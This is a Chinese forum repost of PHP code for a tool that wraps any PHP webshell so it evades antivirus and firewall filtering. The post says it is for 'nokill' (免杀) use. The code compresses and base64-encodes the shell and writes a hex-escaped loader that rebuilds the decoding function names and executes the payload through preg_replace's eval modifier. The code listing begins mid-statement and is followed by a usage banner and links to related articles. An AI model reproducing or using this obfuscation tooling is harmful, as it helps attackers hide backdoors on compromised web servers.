时时商务社区

标题: php shell超强免杀、减少体积工具实现代码 [打印本页]

作者: qz234 时间: 2018-2-14 08:27

lostwolf写的
这不是webshell,只是个webshell免杀工具
切勿当初webshell使用
仅限免杀phpwebshell
该工具运行在 cli 模式！
如果有无法突破的文件内容过滤可尝试下用这个工具免杀大马！
任意php webshell 通过此工具编码之后可以饶过国内一些bt的防火墙
[U]复制代码[/U] 代码如下:
');
$enfile=base64_encode(gzdeflate($no_php_tag));
$shellcode="\x3c\x3f\x70\x68\x70\xd\xa";
$shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."\xd\xa";
$shellcode.="\x24\x62\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x66\x27\x2c\x22\x22\x2c\x22\x62\x66\x61\x66\x73\x66\x65\x66\x36\x66\x34\x66\x5f\x66\x66\x64\x66\x66\x65\x66\x66\x63\x66\x66\x6f\x66\x66\x64\x66\x66\x65\x66\x22\x29\x3b\xd\xa\x24\x67\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x58\x27\x2c\x27\x27\x2c\x27\x67\x58\x58\x7a\x58\x58\x69\x58\x58\x6e\x58\x58\x58\x58\x66\x58\x58\x58\x6c\x58\x58\x61\x58\x58\x58\x74\x58\x58\x58\x58\x58\x65\x27\x29\x3b\xd\xa\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x5c\x27\x61\x5c\x27\x65\x69\x73\x27\x2c\x27\x65\x27\x2e\x27\x76\x27\x2e\x27\x61\x27\x2e\x27\x6c\x27\x2e\x27\x28\x24\x67\x28\x24\x62\x28\x24\x65\x6e\x66\x69\x6c\x65\x29\x29\x29\x27\x2c\x27\x61\x27\x29\x3b\xd\xa";
$shellcode.="\x3f\x3e";
file_put_contents("$output_file",$shellcode);
}
function baner($toolname){
echo "

HP shell nokill T00L\r\n";
echo "Blog: exploit-db.blogcn.com\r\n";
echo "Usage: {$toolname} phpwebshell\r\n";
}
?>

您可能感兴趣的文章:

使用php shell命令合并图片的代码

PHP教程之PHP中shell脚本的使用方法分享

解析php中如何直接执行SHELL

shell脚本作为保证PHP脚本不挂掉的守护进程实例分享

php使用exec shell命令注入的方法讲解

监控服务器swap并重启php的Shell脚本

利用perl、python、php、shell、sed、awk、c 实现字符串的翻转

用PHP和Shell写Hadoop的MapReduce程序

PHP中exec函数和shell_exec函数的区别

php调用shell的方法

欢迎光临时时商务社区 (http://bbs.4435.cn/)